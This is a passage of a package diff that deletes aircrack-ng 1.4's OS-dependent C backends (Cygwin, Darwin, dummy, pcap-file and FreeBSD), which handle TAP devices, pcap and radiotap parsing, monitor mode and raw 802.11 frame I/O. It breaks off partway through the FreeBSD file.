-	ti->ti_set_mac = ti_set_mac_cygwin;
-	ti->ti_set_ip = ti_set_ip_cygwin;
-
-	/* setup iface */
-	if (iface) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", iface);
-	if (ti_do_open_cygwin(priv) == -1) goto err;
-
-	/* setup reader */
-	if (pipe(priv->tc_pipe) == -1) goto err;
-
-	if (pthread_mutex_init(&priv->tc_mtx, NULL)) goto err;
-
-	/* launch reader */
-	if (start_reader(priv)) goto err;
-
-	return ti;
-err:
-	ti_do_free(ti);
-	return NULL;
-}
-
-EXPORT struct tif * ti_open(char * iface) { return ti_open_cygwin(iface); }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/darwin.c Deleted

@@ -1,47 +0,0 @@
-/*
-  *  Copyright (c) 2009, Kyle Fuller <inbox@kylefuller.co.uk>, based upon
-  *  freebsd.c by Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for Darwin.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <errno.h>
-#include <stdio.h>
-
-#include "osdep.h"
-
-struct wif * wi_open_osdep(char * iface)
-{
-	if (iface)
-	{
-	} /* XXX unused parameter */
-
-	errno = EOPNOTSUPP;
-	return NULL;
-}
-
-EXPORT int get_battery_state(void)
-{
-	errno = EOPNOTSUPP;
-	return -1;
-}
-
-int create_tap(void)
-{
-	errno = EOPNOTSUPP;
-	return -1;
-}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/darwin_tap.c Deleted

@@ -1,239 +0,0 @@
-/*
-  *  Copyright (c) 2009, Kyle Fuller <inbox@kylefuller.co.uk>, based upon
-  *  freebsd_tap.c by Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for Darwin. TAP routines
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <sys/time.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-
-#include "osdep.h"
-
-#define MAX_TAP_DEVS 16
-
-struct tip_darwin
-{
-	int tf_fd;
-	int tf_ioctls;
-	struct ifreq tf_ifr;
-	char tf_name[MAX_IFACE_NAME];
-	int tf_destroy;
-};
-
-static int ti_do_open_darwin(struct tif * ti, char * name)
-{
-	int fd = -1;
-	char iface[12];
-	struct stat st;
-	struct tip_darwin * priv = ti_priv(ti);
-	int s;
-	unsigned int flags;
-	struct ifreq * ifr;
-	int i;
-
-	/* open tap */
-	if (name)
-	{
-		fd = open(name, O_RDWR);
-	}
-	else
-	{
-		priv->tf_destroy = 1; /* we create, we destroy */
-
-		for (i = 0; i < MAX_TAP_DEVS; i++)
-		{
-			snprintf(iface, sizeof(iface), "/dev/tap%d", i);
-			fd = open(iface, O_RDWR);
-
-			if (fd != -1)
-			{
-				break;
-			}
-		}
-	}
-
-	if (fd == -1)
-	{
-		return -1;
-	}
-
-	/* get name */
-	if (fstat(fd, &st) == -1) goto err;
-	snprintf(priv->tf_name,
-			 sizeof(priv->tf_name) - 1,
-			 "%s",
-			 devname(st.st_rdev, S_IFCHR));
-
-	/* bring iface up */
-	s = socket(PF_INET, SOCK_DGRAM, 0);
-	if (s == -1) goto err;
-	priv->tf_ioctls = s;
-
-	/* get flags */
-	ifr = &priv->tf_ifr;
-	memset(ifr, 0, sizeof(*ifr));
-	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name) - 1, "%s", priv->tf_name);
-	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2;
-	flags = (ifr->ifr_flags & 0xffff);
-
-	/* set flags */
-	flags |= IFF_UP;
-	ifr->ifr_flags = flags & 0xffff;
-
-	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2;
-
-	return fd;
-err:
-	/* XXX destroy */
-	close(fd);
-	return -1;
-err2:
-	close(s);
-	goto err;
-}
-
-static void ti_do_free(struct tif * ti)
-{
-	struct tip_darwin * priv = ti_priv(ti);
-
-	free(priv);
-	free(ti);
-}
-
-static void ti_destroy(struct tip_darwin * priv)
-{
-	ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr);
-}
-
-static void ti_close_darwin(struct tif * ti)
-{
-	struct tip_darwin * priv = ti_priv(ti);
-
-	if (priv->tf_destroy) ti_destroy(priv);
-
-	close(priv->tf_fd);
-	close(priv->tf_ioctls);
-	ti_do_free(ti);
-}
-
-static char * ti_name_darwin(struct tif * ti)
-{
-	struct tip_darwin * priv = ti_priv(ti);
-
-	return priv->tf_name;
-}
-
-static int ti_set_mtu_darwin(struct tif * ti, int mtu)
-{
-	struct tip_darwin * priv = ti_priv(ti);
-
-	priv->tf_ifr.ifr_mtu = mtu;
-
-	return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr);
-}
-
-static int ti_set_mac_darwin(struct tif * ti, unsigned char * mac)
-{
-	struct tip_darwin * priv = ti_priv(ti);
-	struct ifreq * ifr = &priv->tf_ifr;
-
-	ifr->ifr_addr.sa_family = AF_LINK;
-	ifr->ifr_addr.sa_len = 6;
-	memcpy(ifr->ifr_addr.sa_data, mac, 6);
-
-	return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr);
-}
-
-static int ti_set_ip_darwin(struct tif * ti, struct in_addr * ip)
-{
-	struct tip_darwin * priv = ti_priv(ti);
-	struct ifaliasreq ifra;
-	struct sockaddr_in * s_in;
-
-	/* assume same size */
-	memset(&ifra, 0, sizeof(ifra));
-	strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name);
-
-	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
-	s_in->sin_family = PF_INET;
-	s_in->sin_addr = *ip;
-	s_in->sin_len = sizeof(*s_in);
-
-	return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra);
-}
-
-static int ti_fd_darwin(struct tif * ti)
-{
-	struct tip_darwin * priv = ti_priv(ti);
-
-	return priv->tf_fd;
-}
-
-static int ti_read_darwin(struct tif * ti, void * buf, int len)
-{
-	return read(ti_fd(ti), buf, len);
-}
-
-static int ti_write_darwin(struct tif * ti, void * buf, int len)
-{
-	return write(ti_fd(ti), buf, len);
-}
-
-static struct tif * ti_open_darwin(char * iface)
-{
-	struct tif * ti;
-	struct tip_darwin * priv;
-	int fd;
-
-	/* setup ti struct */
-	ti = ti_alloc(sizeof(*priv));
-	if (!ti) return NULL;
-	ti->ti_name = ti_name_darwin;
-	ti->ti_set_mtu = ti_set_mtu_darwin;
-	ti->ti_close = ti_close_darwin;
-	ti->ti_fd = ti_fd_darwin;
-	ti->ti_read = ti_read_darwin;
-	ti->ti_write = ti_write_darwin;
-	ti->ti_set_mac = ti_set_mac_darwin;
-	ti->ti_set_ip = ti_set_ip_darwin;
-
-	/* setup iface */
-	fd = ti_do_open_darwin(ti, iface);
-	if (fd == -1)
-	{
-		ti_do_free(ti);
-		return NULL;
-	}
-
-	/* setup private state */
-	priv = ti_priv(ti);
-	priv->tf_fd = fd;
-
-	return ti;
-}
-
-EXPORT struct tif * ti_open(char * iface) { return ti_open_darwin(iface); }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/dummy.c Deleted

@@ -1,46 +0,0 @@
-/*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for unsupported APIs.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <errno.h>
-#include <stdio.h>
-
-#include "osdep.h"
-
-struct wif * wi_open_osdep(char * iface)
-{
-	if (iface)
-	{
-	} /* XXX unused parameter */
-
-	errno = EOPNOTSUPP;
-	return NULL;
-}
-
-EXPORT int get_battery_state(void)
-{
-	errno = EOPNOTSUPP;
-	return -1;
-}
-
-int create_tap(void)
-{
-	errno = EOPNOTSUPP;
-	return -1;
-}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/dummy_tap.c Deleted

@@ -1,35 +0,0 @@
-/*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for unsupported APIs. TAP routines
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <stdio.h>
-#include <stdlib.h>
-
-#include "osdep.h"
-
-static struct tif * ti_open_dummy(char * iface)
-{
-	if (iface)
-	{
-	} /* XXX unused parameter */
-
-	return NULL;
-}
-
-EXPORT struct tif * ti_open(char * iface) { return ti_open_dummy(iface); }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/file.c Deleted

@@ -1,287 +0,0 @@
-/*
-  *  Copyright (c) 2010 Andrea Bittau <bittau@cs.stanford.edu>
-  *
-  *  OS dependent API for using card via a pcap file.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <assert.h>
-#include <sys/select.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <err.h>
-
-#include "osdep.h"
-#include "pcap.h"
-#include "radiotap/radiotap_iter.h"
-
-struct priv_file
-{
-	int pf_fd;
-	int pf_chan;
-	int pf_rate;
-	int pf_dtl;
-	uint32_t pf_magic;
-	unsigned char pf_mac[6];
-};
-
-static int
-file_read(struct wif * wi, unsigned char * h80211, int len, struct rx_info * ri)
-{
-	struct priv_file * pf = wi_priv(wi);
-	struct pcap_pkthdr pkh;
-	int rc;
-	unsigned char buf[4096];
-	int off = 0;
-	struct ieee80211_radiotap_header * rh;
-	struct ieee80211_radiotap_iterator iter;
-
-	rc = read(pf->pf_fd, &pkh, sizeof(pkh));
-	if (rc != sizeof(pkh)) return -1;
-
-	if (pf->pf_magic == TCPDUMP_CIGAM)
-	{
-		pkh.caplen = ___my_swab32(pkh.caplen);
-		pkh.len = ___my_swab32(pkh.len);
-	}
-
-	if (pkh.caplen > sizeof(buf))
-	{
-		printf("Bad caplen %lu\n", (unsigned long) pkh.caplen);
-		return 0;
-	}
-
-	assert(pkh.caplen <= sizeof(buf));
-
-	rc = read(pf->pf_fd, buf, pkh.caplen);
-	if (rc != (int) pkh.caplen) return -1;
-
-	if (ri) memset(ri, 0, sizeof(*ri));
-
-	switch (pf->pf_dtl)
-	{
-		case LINKTYPE_IEEE802_11:
-			off = 0;
-			break;
-
-		case LINKTYPE_RADIOTAP_HDR:
-			rh = (struct ieee80211_radiotap_header *) buf;
-			off = le16_to_cpu(rh->it_len);
-
-			if (ieee80211_radiotap_iterator_init(&iter, rh, rc, NULL) < 0)
-				return -1;
-
-			while (ieee80211_radiotap_iterator_next(&iter) >= 0)
-			{
-				switch (iter.this_arg_index)
-				{
-					case IEEE80211_RADIOTAP_FLAGS:
-						if (*iter.this_arg & IEEE80211_RADIOTAP_F_FCS) rc -= 4;
-						break;
-				}
-			}
-			break;
-
-		case LINKTYPE_PRISM_HEADER:
-			if (buf[7] == 0x40)
-				off = 0x40;
-			else
-				off = le32_to_cpu(*(unsigned int *) (buf + 4));
-
-			rc -= 4;
-			break;
-
-		case LINKTYPE_PPI_HDR:
-			off = le16_to_cpu(*(unsigned short *) (buf + 2));
-
-			/* for a while Kismet logged broken PPI headers */
-			if (off == 24 && le16_to_cpu(*(unsigned short *) (buf + 8)) == 2)
-				off = 32;
-
-			break;
-
-		case LINKTYPE_ETHERNET:
-			printf("Ethernet packets\n");
-			return 0;
-
-		default:
-			errx(1, "Unknown DTL %d", pf->pf_dtl);
-			break;
-	}
-
-	rc -= off;
-	assert(rc >= 0);
-
-	if (off < 0 || rc < 0) return -1;
-
-	if (rc > len) rc = len;
-
-	memcpy(h80211, &buf[off], rc);
-
-	return rc;
-}
-
-static int file_get_mac(struct wif * wi, unsigned char * mac)
-{
-	struct priv_file * pn = wi_priv(wi);
-
-	memcpy(mac, pn->pf_mac, sizeof(pn->pf_mac));
-
-	return 0;
-}
-
-static int file_write(struct wif * wi,
-					  unsigned char * h80211,
-					  int len,
-					  struct tx_info * ti)
-{
-	struct priv_file * pn = wi_priv(wi);
-
-	if (h80211 && ti && pn)
-	{
-	}
-
-	return len;
-}
-
-static int file_set_channel(struct wif * wi, int chan)
-{
-	struct priv_file * pf = wi_priv(wi);
-
-	pf->pf_chan = chan;
-
-	return 0;
-}
-
-static int file_get_channel(struct wif * wi)
-{
-	struct priv_file * pf = wi_priv(wi);
-
-	return pf->pf_chan;
-}
-
-static int file_set_rate(struct wif * wi, int rate)
-{
-	struct priv_file * pf = wi_priv(wi);
-
-	pf->pf_rate = rate;
-
-	return 0;
-}
-
-static int file_get_rate(struct wif * wi)
-{
-	struct priv_file * pf = wi_priv(wi);
-
-	return pf->pf_rate;
-}
-
-static int file_get_monitor(struct wif * wi)
-{
-	if (wi)
-	{
-	}
-
-	return 1;
-}
-
-static void file_close(struct wif * wi)
-{
-	struct priv_file * pn = wi_priv(wi);
-
-	if (pn)
-	{
-		if (pn->pf_fd)
-		{
-			close(pn->pf_fd);
-		}
-		free(pn);
-	}
-
-	free(wi);
-}
-
-static int file_fd(struct wif * wi)
-{
-	struct priv_file * pf = wi_priv(wi);
-
-	return pf->pf_fd;
-}
-
-struct wif * file_open(char * iface)
-{
-	struct wif * wi;
-	struct priv_file * pf;
-	int fd;
-	struct pcap_file_header pfh;
-	int rc;
-
-	if (iface == NULL || strncmp(iface, "file://", 7) != 0) return NULL;
-
-	/* setup wi struct */
-	wi = wi_alloc(sizeof(*pf));
-	if (!wi) return NULL;
-
-	wi->wi_read = file_read;
-	wi->wi_write = file_write;
-	wi->wi_set_channel = file_set_channel;
-	wi->wi_get_channel = file_get_channel;
-	wi->wi_set_rate = file_set_rate;
-	wi->wi_get_rate = file_get_rate;
-	wi->wi_close = file_close;
-	wi->wi_fd = file_fd;
-	wi->wi_get_mac = file_get_mac;
-	wi->wi_get_monitor = file_get_monitor;
-
-	pf = wi_priv(wi);
-
-	fd = open(iface + 7, O_RDONLY);
-	if (fd == -1) err(1, "open()");
-
-	pf->pf_fd = fd;
-
-	if ((rc = read(fd, &pfh, sizeof(pfh))) != sizeof(pfh)) goto __err;
-
-	if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM) goto __err;
-
-	if (pfh.magic == TCPDUMP_CIGAM)
-	{
-		pfh.version_major = ___my_swab16(pfh.version_major);
-		pfh.version_minor = ___my_swab16(pfh.version_minor);
-		pfh.linktype = ___my_swab32(pfh.linktype);
-	}
-
-	if (pfh.version_major != PCAP_VERSION_MAJOR
-		|| pfh.version_minor != PCAP_VERSION_MINOR)
-		goto __err;
-
-	pf->pf_dtl = pfh.linktype;
-	pf->pf_magic = pfh.magic;
-
-	return wi;
-
-__err:
-	wi_close(wi);
-	return (struct wif *) -1;
-}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/freebsd.c Deleted

@@ -1,641 +0,0 @@
-/*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for FreeBSD.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <sys/endian.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/types.h>
-#include <sys/sysctl.h>
-#include <net/bpf.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <net/if_media.h>
-#include <sys/ioctl.h>
-#include <net/if_dl.h>
-#ifdef __DragonFly__
-#include <netproto/802_11/ieee80211_ioctl.h>
-#include <netproto/802_11/ieee80211_radiotap.h>
-#include <netproto/802_11/ieee80211_dragonfly.h>
-#else
-#include <net80211/ieee80211_ioctl.h>
-#include <net80211/ieee80211_radiotap.h>
-#include <net80211/ieee80211_freebsd.h>
-#endif
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <sys/uio.h>
-#include <assert.h>
-#include <ifaddrs.h>
-
-#include "osdep.h"
-
-struct priv_fbsd
-{
-	/* iface */
-	int pf_fd;
-
-	/* rx */
-	int pf_nocrc;
-
-	/* tx */
-	unsigned char pf_buf[4096];
-	unsigned char * pf_next;
-	int pf_totlen;
-	struct ieee80211_bpf_params pf_txparams;
-
-	/* setchan */
-	int pf_s;
-	struct ifreq pf_ifr;
-	struct ieee80211req pf_ireq;
-	int pf_chan;
-};
-
-/* from ifconfig */
-static __inline int mapgsm(u_int freq, u_int flags)
-{
-	freq *= 10;
-	if (flags & IEEE80211_CHAN_QUARTER)
-		freq += 5;
-	else if (flags & IEEE80211_CHAN_HALF)
-		freq += 10;
-	else
-		freq += 20;
-	/* NB: there is no 907/20 wide but leave room */
-	return (freq - 906 * 10) / 5;
-}
-
-static __inline int mappsb(u_int freq)
-{
-	return 37 + ((freq * 10) + ((freq % 5) == 2 ? 5 : 0) - 49400) / 5;
-}
-
-/*
- * Convert MHz frequency to IEEE channel number.
- */
-static u_int ieee80211_mhz2ieee(u_int freq, u_int flags)
-{
-	if ((flags & IEEE80211_CHAN_GSM) || (907 <= freq && freq <= 922))
-		return mapgsm(freq, flags);
-	if (freq == 2484) return 14;
-	if (freq < 2484) return (freq - 2407) / 5;
-	if (freq < 5000)
-	{
-		if (flags & (IEEE80211_CHAN_HALF | IEEE80211_CHAN_QUARTER))
-			return mappsb(freq);
-		else if (freq > 4900)
-			return (freq - 4000) / 5;
-		else
-			return 15 + ((freq - 2512) / 20);
-	}
-	return (freq - 5000) / 5;
-}
-/* end of ifconfig */
-
-static void get_radiotap_info(struct priv_fbsd * pf,
-							  struct ieee80211_radiotap_header * rth,
-							  int * plen,
-							  struct rx_info * ri)
-{
-	uint32_t present;
-	uint8_t rflags = 0;
-	int i;
-	unsigned char * body = (unsigned char *) (rth + 1);
-	int dbm_power = 0, db_power = 0;
-
-	/* reset control info */
-	if (ri) memset(ri, 0, sizeof(*ri));
-
-	/* get info */
-	present = le32toh(rth->it_present);
-	for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++)
-	{
-		if (!(present & (1 << i))) continue;
-
-		switch (i)
-		{
-			case IEEE80211_RADIOTAP_TSFT:
-				body += sizeof(uint64_t);
-				break;
-
-			case IEEE80211_RADIOTAP_FLAGS:
-				rflags = *((uint8_t *) body);
-			/* fall through */
-			case IEEE80211_RADIOTAP_RATE:
-				body += sizeof(uint8_t);
-				break;
-
-			case IEEE80211_RADIOTAP_CHANNEL:
-				if (ri)
-				{
-					uint16_t * p = (uint16_t *) body;
-					int c = ieee80211_mhz2ieee(*p, *(p + 1));
-
-					ri->ri_channel = c;
-				}
-				body += sizeof(uint16_t) * 2;
-				break;
-
-			case IEEE80211_RADIOTAP_FHSS:
-				body += sizeof(uint16_t);
-				break;
-
-			case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
-				dbm_power = *body++;
-				break;
-
-			case IEEE80211_RADIOTAP_DBM_ANTNOISE:
-				dbm_power -= *body++;
-				break;
-
-			case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
-				db_power = *body++;
-				break;
-
-			case IEEE80211_RADIOTAP_DB_ANTNOISE:
-				db_power -= *body++;
-				break;
-
-			default:
-				i = IEEE80211_RADIOTAP_EXT + 1;
-				break;
-		}
-	}
-
-	/* set power */
-	if (ri)
-	{
-		if (dbm_power)
-			ri->ri_power = dbm_power;
-		else
-			ri->ri_power = db_power;
-	}
-
-	/* XXX cache; drivers won't change this per-packet */
-	/* check if FCS/CRC is included in packet */
-	if (pf->pf_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS))
-	{
-		*plen -= IEEE80211_CRC_LEN;
-		pf->pf_nocrc = 1;
-	}
-}
-
-static unsigned char *
-get_80211(struct priv_fbsd * pf, int * plen, struct rx_info * ri)
-{
-	struct bpf_hdr * bpfh;
-	struct ieee80211_radiotap_header * rth;
-	void * ptr;
-	unsigned char ** data;
-	int * totlen;
-
-	data = &pf->pf_next;
-	totlen = &pf->pf_totlen;
-	assert(*totlen);
-
-	/* bpf hdr */
-	bpfh = (struct bpf_hdr *) (*data);
-	assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
-	*totlen -= bpfh->bh_hdrlen;
-
-	/* check if more packets */
-	if ((int) bpfh->bh_caplen < *totlen)
-	{
-		int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
-		int offset = BPF_WORDALIGN(tot);
-
-		*data = (unsigned char *) bpfh + offset;
-		*totlen -= offset - tot; /* take into account align bytes */
-	}
-	else if ((int) bpfh->bh_caplen > *totlen)
-		abort();
-
-	*plen = bpfh->bh_caplen;
-	*totlen -= bpfh->bh_caplen;
-	assert(*totlen >= 0);
-
-	/* radiotap */
-	rth = (struct ieee80211_radiotap_header *) ((char *) bpfh
-												+ bpfh->bh_hdrlen);
-	get_radiotap_info(pf, rth, plen, ri);
-	*plen -= rth->it_len;
-	assert(*plen > 0);
-
-	/* data */
-	ptr = (char *) rth + rth->it_len;
-
-	return ptr;
-}
-
-static int fbsd_get_channel(struct wif * wi)
-{
-	struct priv_fbsd * pf = wi_priv(wi);
-
-	if (ioctl(pf->pf_s, SIOCG80211, &pf->pf_ireq) != 0) return -1;
-
-	return pf->pf_ireq.i_val;
-}
-
-static int
-fbsd_read(struct wif * wi, unsigned char * h80211, int len, struct rx_info * ri)
-{
-	struct priv_fbsd * pf = wi_priv(wi);
-	unsigned char * wh;
-	int plen;
-
-	assert(len > 0);
-
-	/* need to read more */
-	if (pf->pf_totlen == 0)
-	{
-		pf->pf_totlen = read(pf->pf_fd, pf->pf_buf, sizeof(pf->pf_buf));
-		if (pf->pf_totlen == -1)
-		{
-			pf->pf_totlen = 0;
-			return -1;
-		}
-		pf->pf_next = pf->pf_buf;
-	}
-
-	/* read 802.11 packet */
-	wh = get_80211(pf, &plen, ri);
-	if (plen > len) plen = len;
-	assert(plen > 0);
-	memcpy(h80211, wh, plen);
-
-	if (ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi);
-
-	return plen;
-}
-
-static int fbsd_write(struct wif * wi,
-					  unsigned char * h80211,
-					  int len,
-					  struct tx_info * ti)
-{
-	struct iovec iov[2];
-	struct priv_fbsd * pf = wi_priv(wi);
-	int rc;
-
-	/* XXX make use of ti */
-	if (ti)
-	{
-	}
-
-	iov[0].iov_base = &pf->pf_txparams;
-	iov[0].iov_len = pf->pf_txparams.ibp_len;
-
-	iov[1].iov_base = h80211;
-	iov[1].iov_len = len;
-
-	rc = writev(pf->pf_fd, iov, 2);
-	if (rc == -1) return rc;
-	if (rc < (int) iov[0].iov_len) return 0;
-
-	return rc - iov[0].iov_len;
-}
-
-static int fbsd_set_channel(struct wif * wi, int chan)
-{
-	struct priv_fbsd * pf = wi_priv(wi);
-
-	pf->pf_ireq.i_val = chan;
-	if (ioctl(pf->pf_s, SIOCS80211, &pf->pf_ireq) != 0) return -1;
-
-	pf->pf_chan = chan;
-	return 0;
-}
-
-static void do_free(struct wif * wi)
-{
-	assert(wi->wi_priv);
-	free(wi->wi_priv);
-	wi->wi_priv = 0;
-	free(wi);
-}
-
-static void fbsd_close(struct wif * wi)
-{
-	struct priv_fbsd * pf = wi_priv(wi);
-
-	close(pf->pf_fd);
-	close(pf->pf_s);
-	do_free(wi);
-}
-
-static int do_fbsd_open(struct wif * wi, char * iface)
-{
-	int i;
-	char buf[64];
-	int fd = -1;
-	struct ifreq ifr;
-	unsigned int dlt = DLT_IEEE802_11_RADIO;
-	int s;
-	unsigned int flags;
-	struct ifmediareq ifmr;
-	int * mwords;
-	struct priv_fbsd * pf = wi_priv(wi);
-
-	/* basic sanity check */
-	if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1;
-
-	/* open wifi */
-	s = socket(PF_INET, SOCK_DGRAM, 0);
-	if (s == -1) return -1;
-	pf->pf_s = s;
-
-	/* set iface up and promisc */
-	memset(&ifr, 0, sizeof(ifr));
-	strcpy(ifr.ifr_name, iface);
-	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock;
-
-	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
-	flags |= IFF_UP | IFF_PPROMISC;
-	memset(&ifr, 0, sizeof(ifr));
-	strcpy(ifr.ifr_name, iface);
-	ifr.ifr_flags = flags & 0xffff;
-	ifr.ifr_flagshigh = flags >> 16;
-	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock;
-
-	/* monitor mode */
-	memset(&ifmr, 0, sizeof(ifmr));
-	strcpy(ifmr.ifm_name, iface);
-	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock;
-
-	assert(ifmr.ifm_count != 0);
-
-	mwords = (int *) malloc(ifmr.ifm_count * sizeof(int));
-	if (!mwords) goto close_sock;
-	ifmr.ifm_ulist = mwords;
-	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
-	{
-		free(mwords);
-		goto close_sock;
-	}
-	free(mwords);
-
-	memset(&ifr, 0, sizeof(ifr));
-	strcpy(ifr.ifr_name, iface);
-	ifr.ifr_media = ifmr.ifm_current;
-	if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock;
-
-	/* setup ifreq for chan that may be used in future */
-	strcpy(pf->pf_ireq.i_name, iface);
-	pf->pf_ireq.i_type = IEEE80211_IOC_CHANNEL;
-
-	/* same for ifreq [mac addr] */
-	strcpy(pf->pf_ifr.ifr_name, iface);
-
-	/* open bpf */
-	for (i = 0; i < 256; i++)
-	{
-		sprintf(buf, "/dev/bpf%d", i);
-
-		fd = open(buf, O_RDWR);
-		if (fd < 0)
-		{
-			if (errno != EBUSY) return -1;
-			continue;
-		}
-		else
-			break;
-	}
-
-	if (fd < 0) goto close_sock;
-
-	strcpy(ifr.ifr_name, iface);
-
-	if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf;
-
-	if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf;
-
-	dlt = 1;
-	if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf;
-
-	return fd;
-
-close_sock:
-	close(s);
-	return -1;
-close_bpf:
-	close(fd);
-	goto close_sock;
-}
-
-static int fbsd_fd(struct wif * wi)
-{
-	struct priv_fbsd * pf = wi_priv(wi);
-
-	return pf->pf_fd;
-}
-
-static int fbsd_get_mac(struct wif * wi, unsigned char * mac)
-{
-	struct ifaddrs *ifa, *p;
-	char * name = wi_get_ifname(wi);
-	int rc = -1;
-	struct sockaddr_dl * sdp;
-
